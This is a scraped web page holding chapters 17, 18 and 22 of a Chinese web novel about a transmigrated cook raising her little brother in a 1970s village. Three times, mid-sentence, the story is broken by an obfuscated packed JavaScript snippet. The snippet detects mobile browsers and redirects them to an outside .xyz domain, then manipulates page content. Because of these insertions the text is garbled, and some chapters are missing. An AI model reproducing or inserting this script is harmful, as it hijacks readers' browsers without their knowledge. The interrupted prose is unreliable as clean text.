《回到七零开饭馆[古穿今]》 17. 第 17 章 晌午的日头明晃晃地挂在头顶,却驱不散苏家小院里陡然凝聚的紧张空气。 王秀芬双手叉腰,唾沫星子几乎要喷到苏婉音脸上:“大伙儿都给评评理!我们家建国好心好意,怕她一个傻……怕她一个姑娘家带不好孩子,委屈了我那小侄子!想着接过去我们两口子辛苦点,帮着拉扯大,她倒好,狗咬吕洞宾,不识好人心!还敢顶撞长辈!这不是病糊涂了是什么?我看就是没好利索!” 苏建国在一旁沉着脸,配合着点头,眼神却时不时瞟向那三间虽然破旧但还算完整的土坯房。 苏婉音把小宝护在身后,冷着小脸,与王秀芬对峙着。 没想到上次把她骂走后,她竟然还敢来,应当是仗着苏建国这个亲二叔的身份。 院门口已经聚拢了几个被动静吸引来的邻居,交头接耳,指指点点。 王奶奶拄着拐杖,站在最前面,脸上满是担忧。 被护在身后的小宝吓得瑟瑟发抖,小家伙紧紧抓着姐姐的衣角,小脸煞白。 苏婉音思绪百转千回,明白今日这阵仗是不可能轻易了了的,必须把关系划开来,想到此她眼神瞬间凌厉起来,但面上不显,只是微微蹙着眉,眼神清亮地看着王秀芬,声音不大,却清晰地传入每个人耳中: “二婶,您口口声声说为了小宝好,那我问您,我爹妈去年刚走的时候,家里最难的那段日子,您和二叔在哪儿?小宝饿得晚上直哭,我去求您借半碗玉米面,您是怎么说的?您说‘自家都不够吃,哪有余粮喂外人’~” 人群里响起几声低低的议论: “好像是有这么一茬,我都还给孩子俩窝头呢~” “说起来苏老大两口子,当初不是还有老多抚恤金?都去哪了?” “这你就不知道了吧,当初秀芬嫂打着婉音丫头脑子不清楚就全领了去!” “还有这事?” 那人也不信,但这话是从安嫂子嘴里说出来,队里谁不知道她说话一口唾沫一个钉,不是那等爱编排人的,又有些信了几分,忙追问道:“那现在婉音都好了,不得还回去?” 安嫂子还能不知道王秀芬,眼睛一斜,“你信她能还回去?” 王秀芬脸色一变,没料到苏婉音会提起这茬,立刻尖声道:“那……那时候谁家不难?现在不是情况不一样了吗!” “是不一样了,”苏婉音接过话头,语气平静却带着力量,“我现在脑子清楚了,能挣工分了,也能照顾好弟弟了。您看,” 她侧身指了指屋里虽然简陋却收拾得干干净净的灶台和桌子,“家里有粮,缸里有米,小宝身上的衣服虽然旧,但也洗得干干净净,没饿着他也没冻着他,反倒是二婶您,上次来,看上了我娘留下的那对旧枕套,硬是说借去看看,至今也没还回来呢~还有我爹妈给我们留下的抚恤金,您哄着我摁了放弃的手印,现在打量着我清醒了,就想把小宝抱过去养着,这是不打算还了?” 还是耳朵尖刚巧听到了安嫂子两人的嘀咕,苏婉音才从记忆的角落里扒拉出当时的场景,原主被王秀芬拿一个窝头就哄骗着在放弃抚恤金协议上摁了手印。 别说这王秀芬还挺懂,估计是那个堂哥苏强的主意吧? 想把小宝抱过去养也是为了堵住队里的嘴,毕竟村里都认为只有儿子才能名正言顺继承财产。 “你胡说八道!”王秀芬像是被踩了尾巴的猫,跳起来就要去撕苏婉音的嘴。 苏婉音轻巧地后退一步,躲开了,她目光转向围观的村民,尤其是其中几位有些威望的长者。 “各位叔伯婶娘都在,正好帮我苏婉音做个见证,我爹妈走得突然,就留下我们姐弟俩和这处房子。我知道自己以前糊涂,让人操心,但现在我病好了,我就一个念头:爹妈不在了,长姐如母,我只要有一口吃的,就绝不会饿着小宝,这房子是爹妈留给我们姐弟唯一的念想,谁也别想动!” 她顿了顿,声音里带上了一丝不易察觉的哽咽,但眼神却越发坚定:“叔叔婶婶若是真心疼我们,平日里多来看两眼,问一句冷暖,我姐弟俩感激不尽,但要是打着‘为我们好’的旗号,想抢走我弟弟,或者占了这房子……” 苏婉音深吸一口气,目光锐利地看向苏建国和王秀芬,一字一句道:“那我就只好去找大队书记,去找妇女主任,问问这新社会,是不是还兴欺侮孤女弱弟这一套!看看组织上管不管!” 这话一出,苏建国脸色首先变了,他是个好面子的,更怕惹上官司,王秀芬还想撒泼,却被苏建国狠狠拽了一把。 “还有,”苏婉音接着道:“我爹妈留下的抚恤金,当时摁手印的时候我还不清醒,这是队里谁都知道的事儿,所以做不得数,现在我好了,还请二叔怜惜怜惜我们这没了爹妈的孩子,把那笔钱还回来,我记得,应当是有八百块钱的。” 人群里的议论声更大了: “八百块钱!他们两口子也真敢拿啊!” “真不怕苏老大两口子半夜来找他们?!” “是啊,而且婉音丫头说得在理啊!” “就是,以前不见帮忙,现在看孩子立起来了,想来摘桃子了?” “建国家的,你们这就有点不地道了。” 什么八百块钱! 王秀芬心里一紧,明明就只有五百块! 她想上前与苏婉音这个死丫头理论一番,却被苏建国死死拽住,回头一看,她男人脸色如墨,阴沉得可怕,眼睛死死盯着她,咬牙低声道:“怎么有八百?你只给我五百!那三百去哪了?” 不怪苏建国起疑心,领抚恤金的事是王秀芬首当其冲一手操办的,最后一个信封交到他手上,打开一看就是五十张整整齐齐的大团结。 但是没两天她娘家弟弟就进城上班了! 王秀芬本就有扒拉东西给娘家的前科,这下他把所有东西串联到一起,恍然大悟。 闻言王秀芬一噎,随后尖叫道:“哪有八百块!她一个傻子的话能信吗?” 苏建国立马怒吼,也不压着自己的声调了,“她一个傻子能说谎吗!” 眼见着一向配合默契一个唱红脸一个唱白脸的夫妻两个就要分崩离析,甚至上演一场家庭暴力之际,丁翠兰适时开口,声音不大却带着分量:“建国,秀芬,要吵就回家吵去!别在这里让孩子们看笑话,孩子话说得明白,也有志气,你们当叔叔婶婶的,得多帮衬,可不能净想着占便宜寒了孩子的心,这要是闹到大队去,你们脸上也不好看,还有啊,那抚恤金,你们也赶紧还给孩子,那可是买命钱,你们也敢花?” “就是就是!赶紧还给孩子们!” “真没想到他俩是这样的人……” 舆论彻底倒向了苏婉音。 王秀芬气得胸口起伏,却也知道今天占不到便宜了,只得狠狠剜了苏婉音一眼,扔下一句“你个没良心的白眼狼,咱们走着瞧!”,便被苏建国连拉带拽地拖走了。 一场风波,暂时平息。 院外围观的村民又安慰了苏婉音几句,才渐渐散去。 苏婉音关上吱呀作响的院门,背靠着门板,这才轻轻吐出一口浊气。 刚才应对看似镇定,实则手心也捏了一把汗,对付这种胡搅蛮缠的人,讲道理有时不如抬出更大的威慑力。 “姐……”小宝怯生生地拉她的手,大眼睛里还含着泪花,“婶婶好凶……你别怕,小宝保护你。” 苏婉音的心瞬间软成一滩水。 她蹲下身,将弟弟搂进怀里,轻轻拍着他的背:“姐不怕,小宝真勇敢,都知道要保护姐姐了,只要我们姐弟俩在一起,谁也别想欺负我们。” 还有抚恤金,她知道只有五百块,可是不这么说怎么让那对狼狈为奸的夫妻产生矛盾呢,而且,多的那三百块也是她应得的! 这一年来,王秀芬从她家搬走多少东西了? 他们一家用过的她嫌恶心,可不会要,多余的那三百正好用来给家里添置新东西。 虽然现在才初夏,但是她和小宝的厚衣服被王秀芬拿走了,得赶紧预备起来了。 小家伙还紧紧攥着苏婉音的衣角,大眼睛里噙着后怕的泪花,小声地、一遍遍地确认:“姐,婶婶他们……真的走了吗?不会再来了吧?” 苏婉音的心像是被细针轻轻扎了一下,泛起细细密密的疼,看着小宝憋得通红的小脸,她用指腹轻轻擦去弟弟眼角的湿润,语气放得又轻又柔,带着不容置疑的坚定:“走了,被姐姐打跑了,小宝不怕,以后他们再来,姐姐还这样把他们打跑,只要我们小宝不愿意,谁也别想把你从姐姐身边带走,姐姐还会带着我们小宝过上好日子,顿顿有肉吃!” 她看着小宝依旧有些惶然的神色,知道光是言语的安抚还不够。 孩子的世界很简单,或许一顿美味的食物,会比千言万语更能驱散不安,带来最直接的踏实感。 “来,”她站起身,拉着小宝微凉的小手往灶房走,“别想那些不高兴的事了。帮姐姐生火,咱们晚上熬粥喝,姐姐给你加点好东西。” 一听到“好吃的”,小宝的注意力果然被牵引过来,仰起小脸问:“姐,加什么?” “保密,”苏婉音故作神秘地笑了笑,“生了火你就知道了。” 小宝乖巧地坐到灶膛前的小板凳上,努力回忆着姐姐平时的动作,拿起火柴盒,有些笨拙地抽出一根,在盒子侧边划了一下——没着。 他又试了一次,微弱的火苗亮起,他赶紧小心翼翼地引燃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364128|183843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灶膛里的软草,看着火苗渐渐舔舐干燥的柴禾,小脸上终于露出一点专注和成就感。 苏婉音则快速地盘算着家里的存货。 细粮不多,但糙米还有一些。 她舀出小半碗糙米,又取出了一小把之前王奶奶给的咸菜,洗干净控水切碎,想了想,还是从藏好的小罐子里舀了小半勺猪油渣,这是上次熬猪油剩下的,香得很,平时都舍不得吃。 糙米和咸菜一起下锅加水熬煮。 趁着煮粥的功夫,苏婉音将那一小勺猪油渣细细剁碎。 等粥熬到米粒开花,变得粘稠时,她将碎油渣撒了进去,又飞快地淋入一点点酱油,撒上一小撮盐。 瞬间,猪油渣独特的荤香被热气激发出来,混合着米粥的醇厚和野菜的清新,形成一种极其勾人食欲的复合香气。 这香气不像葱花鸡蛋饼那样霸道直接,却更加绵长厚重,带着一种安抚人心的家常温暖,丝丝缕缕地弥漫开来,不仅充满了整个灶房,更是顽强地穿透门缝,飘散到了小院之外。 几个还没走远的邻居,正三三两两地议论着刚才苏家那场风波,忽然都抽了抽鼻子。 “咦?这又是什么味儿?真香啊!” “像是熬粥?不对,这油香味……谁家熬粥放这么多油?” “还能有谁,肯定是婉音丫头呗~刚从秀芬那儿受了气,这是憋着劲儿要把日子过好呢!” “这丫头,是真有股劲儿,手艺也好,闻着这味儿,我都馋了……” “是啊,闻着就好吃,前两天大队长家那顿满月酒你吃了没?红烧肉做的可地道了!” “咋没吃?就是太好吃了,最后我们这些帮忙的只得了小半碗汤!不过拿回家再加瓢水煮菜叶子也好吃,现在嘴里都还有那肉香味儿!” “瞅你那样儿吧!点儿肉汤就让你满足了,等我儿子以后进了城当上工人了,我一天吃一碗红烧肉!到时候还叫婉音给我做!” “啧啧啧~还一天一碗……” …… 议论的风向悄然转变,从对闹剧的关注,变成了对苏婉音坚韧和厨艺的赞叹,让人下意识地就觉得,她们的日子,差不了。 屋里,粥已经熬好了。 苏婉音将粥盛到两个粗陶碗里,微黄的米粥,夹杂着咸菜的咸香,还有点缀的焦香油渣碎,看起来就让人食指大动。 她吹凉了其中一碗,先递给眼巴巴望着的小宝,又递过去一个小勺子:“慢点吃,小心烫。” 小宝舀起一勺吹了吹,迫不及待地送进嘴里。 粥熬得火候恰到好处,米糊烂,融入咸菜恰到好处勾得人胃口大开,最妙的是那一点点猪油渣碎,嚼起来满口生香,极大地提升了粥的口感和层次,那一点点酱油更是提鲜的关键。 简单的食材,因为用心和一点点巧思,变成了无比慰藉身心的美味。 “姐,好香!好好吃!”小宝吃得头也不抬,腮帮子塞得鼓鼓的,之前那点害怕早就被抛到了九霄云外。 看着弟弟吃得香甜满足的模样,苏婉音自己也端起碗,慢慢喝了一口。 温热的粥滑入胃里,带来无比的妥帖与舒适,她纷乱的心绪也在这氤氲的热气和食物的温暖里,慢慢沉淀下来。 “婉音?小宝?” 院外又传来王奶奶的声音,带着笑意,“隔着老远就闻着香了,我这老婆子馋虫都被勾出来了!” 苏婉音连忙起身去开门。 王奶奶端着一小碟自己腌的萝卜干站在门口,朝屋里看了看,见姐弟俩正安安稳稳地吃饭,小宝脸上也没了泪痕,这才放心地笑了:“没事就好,没事就好,给你们送点这个,就粥吃最下饭。” “王奶奶,您太客气了,快进来坐会儿,”苏婉音心里暖融融的,连忙接过。 “不坐了不坐了,你们吃,”王奶奶摆摆手,又凑近了压低声音:“听说过段时间公社上要来人检查呢,你爹妈抚恤金的事儿……” 苏婉音心中一动,感激道:“谢谢王奶奶。” “谢啥,应该的,”王奶奶笑着,又吸了吸鼻子,“你这粥熬得是真香,都快超越你妈了,日子就得这么过!走了啊~” 送走王奶奶,苏婉音看着那碟脆生生的萝卜干,又看看屋里安心喝粥的弟弟,嘴角微微扬起。 夜色渐浓,煤油灯将姐弟俩的身影投在墙上,放大,显得格外温馨。粥的香气还弥漫在空气里,仿佛将这个小院紧紧包裹起来,隔绝了外界的风风雨雨,只留下食物与亲情带来的、最原始也最牢固的安全感。 苏婉音知道,未来的路还长,但此刻,一碗暖粥,一个依赖她的弟弟,几位释放善意的邻居,便是她在这个时代,最初也最珍贵的拥有。 18. 第 18 章 清晨的薄雾尚未完全散去,苏家小院的烟囱已经升起了袅袅炊烟。 苏婉音早早起了床,将昨晚剩下的一点野菜粥热了热,又特意给小宝的碗底埋了半个煮熟的鸡蛋,这是家里最后两个鸡蛋之一了。 看着弟弟睡得红扑扑的小脸,她心里盘算得越发清晰 昨天王秀芬那一闹,虽然被挡了回去,但也像一记警钟,敲醒了她,光是守着这点口粮,勉强糊口,是远远不够的,一旦有什么风吹草动,或者弟弟生病需要钱,她们就会立刻陷入绝境。 必须得有点进项,手里得有点能让人心安的活钱。 还有抚恤金,她是一定要拿回来的,想到昨天王奶奶透露的公社领导,苏婉音觉得这或许是个好机会…… “姐,早,”小宝揉着眼睛坐起来,鼻尖动了动,闻到粥香和淡淡的蛋味,眼睛立刻亮了。 “快起来吃饭,”苏婉音把他拉起来,帮他穿好打补丁却干净的衣服,“吃了饭,姐姐带你去后山转转。” “去后山干嘛?”小宝一边扒粥,一边含糊地问。 “看看还有没有好吃的野菜,顺便碰碰运气,看能不能逮只傻兔子,”苏婉音笑着说。 真正的目的,她是想去更深处人少的地方,看看有没有更多能利用的山货,蘑菇、木耳、野果子…… 她记得御膳房里有些保存山货、制作蜜饯果脯的法子,虽然这里条件简陋,但简化一下,或许也能成,哪怕只是晒干了拿去换钱,也比鲜货值钱些,而且保存的时间也久。 吃过早饭,苏婉音背上一个旧背篓,拿上小铲子和一个破麻袋,牵着小宝出了门。 她特意避开了人多的田埂,绕着小路往后山走。 路上遇到几个早起去上工的村民,看到她带着孩子上山,都打了声招呼。 “婉音,又去挖野菜啊?” “是啊,张婶,去看看。” “这孩子,病好了真是勤快,”村民感叹着走远了。 苏婉音心里苦笑,这不是勤快,全是被逼的,不过,这些话自然不能说出口。 后山的清晨空气清新,露水挂在草叶上,闪闪发光。 小宝到了野外就活泼起来,跑来跑去,偶尔发现一簇熟悉的野菜,就兴奋地大叫:“姐!这里有荠菜!” 苏婉音一边教他辨认能吃的和不能吃的,一边漫山遍野地搜索着。 她的运气不错,在一片潮湿的树根下发现了一丛黑木耳,虽然不多,但品相还是很好的。 又在向阳的坡地上找到几棵野山楂树,没到时间,果子还青着,记下位置,等秋天再来。 苏婉音没有贪多,仔细采了那丛木耳,又挖了些常见的野菜铺在背篓下面做掩饰,最让她惊喜的是,在一个隐蔽的陷阱里也不知是谁设的又给忘了,现在倒叫她捡了便宜,里面是一只撞晕了的野山鸡! 她心跳加速,赶紧把山鸡拎出来,塞进麻袋里,用野菜盖得严严实实,这可真是意外之喜! “姐,是什么?”小宝好奇地想扒开麻袋看。 “好东西,回家再看,”苏婉音压低声音,脸上带着抑制不住的笑容,“今天小宝立大功了,带来好运了。” 小宝虽然不明白,但看到姐姐高兴,他也跟着傻乐。 满载而归的路上,苏婉音的心思已经活络开了。 山鸡可以炖汤,大补,她和弟弟都需要营养。 但目前更好的方式其实是卖掉,没办法,他们太缺钱缺东西了,换成钱,能买更多更实用的东西,盐、油还有布,也能扯二尺给小宝做件新衣服。 可是怎么卖?卖给谁?黑市风险大,而且她一个姑娘家带着只山鸡太扎眼。 她想到了丁翠兰。 大伯娘人脉广,心眼好,而且家里还有个刚生了孩子的媳妇儿,山鸡也能炖着给下奶。 回到家,苏婉音先把山鸡藏好,然后开始处理采回来的木耳和野菜,将木耳仔细地摊开在干净的席子上晾晒,野菜择洗干净。 中午,她用挖来的野菜混合一点点玉米面,贴了几个菜饼子,又用最后一点猪油渣煮了个野菜汤,虽然简单,但因为她舍得放那点油渣,汤味依然鲜美。 吃饭时,小宝看着晾在席子上的木耳,问:“姐,那个黑乎乎的东西能吃吗?” “能,晒干了炖肉特别香,”苏婉音给他描述着,“等晒干了,姐姐想办法换点钱,给小宝买肉吃。” 一听见肉字,小宝的眼睛瞬间亮得像星星:“真的?买肉吃?” “嗯,真的,”苏婉音郑重地点头,这不仅是对弟弟的承诺,也是对自己的鞭策。 下午,苏婉音瞅着个机会,去了村头大队长家。 她没直接说山鸡的事,只拿出几颗早上摘的熟的野山楂,说是给大伯娘尝个鲜,然后旁敲侧击地打听:“大伯娘,您见识多,您说,这山里偶尔要是有点野物,像山鸡兔子什么的,除了自己吃,怎么处置比较好?我就是好奇问问……” 丁翠兰一听这话音,就知道她的意思,再想到早上看见她带着小宝往后山上去,心里猜到了几分,她压低声音:“怎么?弄到好东西了?” 苏婉音犹豫了一下,还是轻轻点了点头。 丁翠兰笑了:“你这孩子,运气可真不错,竟然能从山里刨食,放心,大伯娘不是多嘴好事的人,你要是信得过我,就把那东西提过来,你也知道满月酒上她娘家闹了一场,心里不痛快着,这也就算了,偏偏奶还没多少了,熬那点儿米油哪有什么营养?你这东西算是帮了我大忙啦!晚上我让你三哥偷偷跑一趟,你放心,你大伯娘不会坑你!” 苏婉音的心一下子落回了肚子里,涌起一股感激:“大伯娘,太谢谢您了!” 丁翠兰笑道:“还真是个傻孩子,谢啥啊,该大伯娘谢谢你!赶紧回去吧啊,不好处理就别处理了,你三哥能干!不过这种事儿,偶尔一次还行,多了容易招人眼。” “哎,我知道,就这一次运气好,”苏婉音连忙保证。 从大队长家出来,苏婉音觉得天上的太阳都格外明亮。 晚上,那只肥硕的山鸡被苏立业悄摸带了回去,又给她送来两块钱的毛票和半斤红糖。 握着那两块钱,苏婉音的手心微微出汗。 她将那张印着女拖拉机手图案的一元纸币和另外两张皱巴巴的五毛票子摊在炕桌上,借着昏黄的煤油灯光,反复摩挲。 纸币边缘有些毛糙,带着不知经手多少人的痕迹,却沉甸甸的,压得她心头一片滚烫。 这是她来到这个时代,真正意义上的第一笔“巨款”,不是几个鸡蛋换来的针头线脑,也不是一把野菜换来的粗盐,而是实实在在的,可以购买许多必需品的货币。 小宝趴在桌边,大眼睛一眨不眨地盯着那几张票子,又看看旁边那包用粗糙黄纸包着的红糖,小舌头下意识地舔了舔嘴唇。他不太明白钱的具体价值,但他知道,姐姐看起来很高兴,而且有红糖水喝了。 “姐,这能买好多肉吗?”他小声问,脑海里还惦记着姐姐之前的承诺。 苏婉音被他的童言童语逗笑了,小心地将钱收进一个旧铁皮盒子里,这是原主父亲留下的针线盒,现在成了她的“小金库”。 她将盒子藏回炕席底下最隐蔽的角落,这才转身搂住弟弟。 “能买一点,”她实话实说,但语气充满希望,“不过咱们先不买肉,这钱啊,得用在刀刃上。” 她开始细细盘算,哪怕知道小宝的年纪并不能完全听懂,“得买盐,家里的快见底了,还得买点灯油,你看这灯芯都快烧没了,要是还有剩下的,就扯几尺布,给我们小宝做件新褂子,好不好?” 小宝听到新衣服,眼睛更亮了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364129|183843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用力点头:“好!姐,你也做!” “姐有的穿,先给小宝做,”苏婉音心里暖融融的。 她掂量着那半斤红糖,这也是硬通货,平时冲水喝能补充体力,若是谁家急用,也能拿来换东西。 第二天一早,苏婉音将小宝托付给王奶奶照看一会儿,自己揣着那珍贵的两块钱和糖票、布票,打算去公社的供销社一趟。 感谢原主的精明,竟然把这重要的票证塞进了茅厕! 天知道她在发现的时候抱着怎样的心态把它们抽出来又和她的辛苦钱放在一起的! 不过现在好了,终于能用出去了! 只要她不说,就没人知道那些票是从哪抽出来的。 不过她心里有些忐忑,毕竟她现在可是身怀巨款! 供销社不远,是一排红砖平房中的一间,玻璃柜台擦得亮堂,后面货架上摆着不多的商品:暖水瓶、搪瓷缸、劳动布、几种花色的棉布、散装的点心、糖果,还有日用品区摆着的肥皂、火柴、煤油等。 柜台后面坐着个穿着蓝色售货员制服、梳着两条麻花辫的年轻姑娘,正低着头织毛衣,听到有人进来,懒洋洋地抬了下眼皮。 苏婉音深吸一口气,走过去,尽量让自己的声音显得镇定:“同志,麻烦打一斤煤油。” 她递上自家的煤油瓶和钱票。 售货员放下毛衣,接过瓶子和钱,动作麻利地灌油,找零,整个过程没什么多余的话。 苏婉音又看向盐罐子:“再称半斤盐。” 接着,她目光落在那些布匹上。 一种藏蓝色的劳动布最便宜耐磨,但给小孩穿太硬,她看中了一种浅蓝色的细棉布,虽然贵一点,但柔软透气。 “同志,那种蓝布怎么卖?扯一身小孩的衣裳大概要多少?”她仔细地询问价格和所需布票,在心里飞快计算。 两块钱看着多,但这样买下来,再加上布票限制,恐怕也剩不下什么了。 最终,她权衡再三,只扯了够给小宝做一件短褂的布,又买了一小块颜色深沉的布头,打算给自己补裤子用。 剩下的钱,她咬牙买了一小块肥皂,用皂角总还是不太习惯,她总觉得洗不干净。 东西买齐,钱也花得差不多了。 但她看着篮子里实实在在的物资:煤油、盐、布、肥皂,还有一种难以言喻的踏实感。 回去的路上,她的脚步轻快了许多,甚至还用找零的几分钱,给小宝买了两颗水果糖,用油纸包着,小心地揣进口袋,日子真是在慢慢变好!她都能给小宝买糖了!还是水果硬糖! 快到村口时,她看到几个妇人坐在大树下做针线聊天,看到她提着东西回来,目光都投了过来。 “婉音丫头,去供销社了?” “嗯,买了点煤油和盐,”苏婉音笑着回应,并不多说,但篮子里那卷崭新的蓝布还是格外显眼。 “哟,扯新布了?给小宝做衣裳啊?你们姐弟俩这日子真是过起来了,”有人语气里带着羡慕,也有些许探究。 苏婉音只是笑笑:“旧的实在不能穿了,总不能老让小宝光着屁股蛋儿到处跑,婶子们忙着,我先回去了,小宝还等着呢。” 她从容地走开,留下身后几句低语。 “看来是真缓过来了……” “手头挺活络啊,还能扯新布……” “听说昨天建国家的没讨着好……” 苏婉音知道会引人议论,但她不在乎,她加快脚步,想着小宝看到新布和水果糖时高兴的样子,嘴角忍不住高高扬起。 还有在供销社遇上的那个干部,只是上次卖给了他几个菜饼子,没想到他还记得,又叫她再做了好吃的还给送到城里去,只是走得匆忙,连个地址都没留。 她暂时不考虑这条线。 天天去镇上也怪惹眼的。 22. 第 22 章 第二天,苏婉音起了个大早。 她将那罐沉甸甸、密封好的菌酱用一块干净的粗布仔细包好,小心地放进竹篮里,上面又盖了一层野菜做掩饰,此时竟感觉心跳有些快,带着一丝不易察觉的期待和紧张,这罐酱,倾注了她目前所能调动的全部心血和宝贵资源,成败在此一举。 “小宝,姐去大队长家一趟,你乖乖看家,记得谁敲门都不开。”苏婉音仔细叮嘱。 “知道啦姐!”小宝用力点头,眼神却不自觉地瞟向那个竹篮,咽了口口水,显然还对昨天那惊为天人的味道念念不忘。 苏婉音挎上篮子,深吸一口气,走出了院门。 清晨的村庄尚未完全苏醒,偶有炊烟袅袅,空气中弥漫着柴火和露水的清新气息。 她脚步不快,尽量显得自然,心里却反复盘算着该如何与丁翠兰说。 走到大队长家院门外,她轻轻叩响了木门。 “来了!”里面传来丁翠兰利索的声音。 门吱呀一声打开,丁翠兰系着围裙,手上还沾着些玉米面,看来正在做早饭。 “婉音丫头?这么早,快进来。”丁翠兰有些意外,随即想到什么,热情地让开身。 “大伯娘,没打扰您吧?”苏婉音迈进院子,顺手将院门虚掩上。 “没没没,正做饭呢,你吃过了没?伯娘这儿贴饼子快好了。” “吃过了,谢谢大伯娘。”苏婉音笑着摇摇头,将篮子放在院中的石磨盘上,解开粗布,露出了那个敦实的粗陶罐,“大伯娘,菌酱我做好了,您瞧瞧。” 丁翠兰凑过来,苏婉音小心地掀开油纸封口的一角。 瞬间,一股极其霸道的咸香混合着浓郁的菌菇鲜味和油脂香气喷涌而出,毫不客气地压过了院里玉米饼的清香。 那味道复杂而诱人,光是闻着就让人口舌生津。 丁翠兰眼睛瞬间亮了起来,深深吸了一口气,脸上露出惊叹:“哎呦!这味儿!可真够正的!比闻着上次那小罐还香!” 她也是见多识广的老人了,光是闻这味道,就知道这酱差不了。 苏婉音心下稍安,低声道:“大伯娘,这罐子大些,用的料也足,您看……方便让四哥带给厂里的工友试试吗?换什么都行,粮票、油票、布票,或者旧东西、鸡蛋啥的,都看人家方便。” 她没敢直接说要钱,这年头票证和实物比钱更实用。 “方便!有啥不方便的!”丁翠兰很是爽快,接过罐子掂量了一下,分量十足,“我这就让我家小子过来拿,他今天上白班,正好带过去!” 王奶奶转身朝屋里喊了几声,一个看着二十大几、面相憨厚的中年男人擦着手走了出来,身上穿着洗得发白的工装,正是丁翠兰的二儿子,叫苏继业。 “继业,快,这是婉音丫头做的酱,你赶紧带上,中午吃饭的时候给你们车间那帮大小伙子分分看。”丁翠兰把罐子递过去。 苏继业接过罐子,那浓郁的香味他也闻到了,脸上露出讶异的表情,他看向苏婉音,点点头:“婉音妹子手艺不错啊,光闻着就下饭。” “四哥过奖了,就是胡乱做的,大家不嫌弃就好。”苏婉音微微低头,表现得有些不好意思。 “成,包我身上了。”苏继业也是个实在人,没多说,找来个网兜把罐子小心装好,又跟苏婉音确认了一下大概想换些什么,便匆匆推上自行车上班去了。 看着苏继业载着那罐酱消失在村口,苏婉音的心也仿佛跟着悬了起来,恨不得长出千里眼顺风耳好看看她的菌酱会不会手欢迎。 她谢绝了丁翠兰留下吃饼子的好意,揣着七上八下的心情回到了自家小院。 等待的时间变得格外漫长。 她心不在焉地整理着晒着的山茱萸和花椒,教小宝认了几个新字,耳朵却时刻留意着外面的动静。 每一次狗叫,每一次脚步声,都能让她的心提一下。 小宝似乎感受到了姐姐的紧张,也变得格外乖巧,不吵不闹。 日头渐渐升高,又缓缓西斜。 就在苏婉音几乎要以为今天不会有消息,开始暗自反思是不是酱做得不合工人口味,或者价格要高了的时候,院外终于传来了丁翠兰熟悉的声音,带着明显的喜气。 “婉音!婉音丫头!快开门!” 苏婉音心跳骤然加速,几乎是跑着去开了门。 门外站着丁翠兰和苏继业。 苏继业脸上带着笑,手里提着空了的陶罐,而丁翠兰手里则拿着一个不小的布口袋,鼓鼓囊囊的。 “丫头!好消息!”丁翠兰一进门就笑着道,“你那酱,可了不得!继业说,中午刚一打开,那香味就把半个车间的人都引过来了!一罐子酱,眨眼功夫就被分光了!好几个没抢到的还直埋怨呢!” 苏继业在一旁憨厚地笑着点头附和:“是啊,妹子,你那酱太受欢迎了,拌窝头、抹饼子,都说香得不行,从来没吃过这么够味的酱,我们车间主任尝了都直说好!” 苏婉音悬着的心猛地落下,随即被巨大的喜悦充满,虽然对自己的手艺充满了信心,但这一整天她的心就像在火上烤似的,来回煎熬,生怕自己做的不合大家的口味,如今可算是落了地。 当然她也没忘了丁翠兰和苏继业的功劳,笑呵呵道:“这都多亏了大伯娘肯给我们家这个机会,还有继业哥人缘儿好,在中间牵线搭桥,就是冲继业哥这个人,人家也都想试试嘞!” 丁翠兰也没想到会这么受欢迎,不过这可是好事!而且婉音这丫头又不忘本,得了东西也记得他们家的功劳,她客气两句后笑着把口袋递过来:“喏,这都是换回来的,你看看。” 苏婉音接过口袋,入手沉甸甸的。 她打开一看,里面简直是个小宝藏:有两斤左右的全国粮票,半斤珍贵的油票,几张工业券,一小卷颜色鲜亮的毛线不知道可能是哪个年轻工人给的,还有七八个鸡蛋,甚至还有零星几颗水果硬糖! 这些东西的价值,远远超出了她那罐酱的成本。 尤其是粮票和油票,这可是能直接换来实打实粮食和油水的硬通货! “这……这太多了……”苏婉音有些无措,她没想到反响这么好,换回这么多东西。 “不多不多!”丁翠兰摆手,“你是没见那场面,大家抢着要,给的都大方,继业说了,好几个人都问下次还有没有,啥时候再有,你这酱,打开销路了!” 苏继业也点头:“对,妹子,下次多做点,肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364133|183843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定还要。” 苏婉音看着口袋里实实在在的收获,又听着丁翠兰母子俩肯定的话语,一股热流涌上眼眶,又被她强行压下。 她深吸一口气,郑重地说:“大伯娘,四哥,真的太谢谢你们了!” 这是她来到这个时代后,真正意义上的第一桶金。 送走了欢天喜地的丁翠兰和带来好消息的苏继业,苏婉音闩上院门,背靠着粗糙的木门板,深吸了一口气。 院子里只剩下她和眨巴着大眼睛、好奇望过来的小宝。 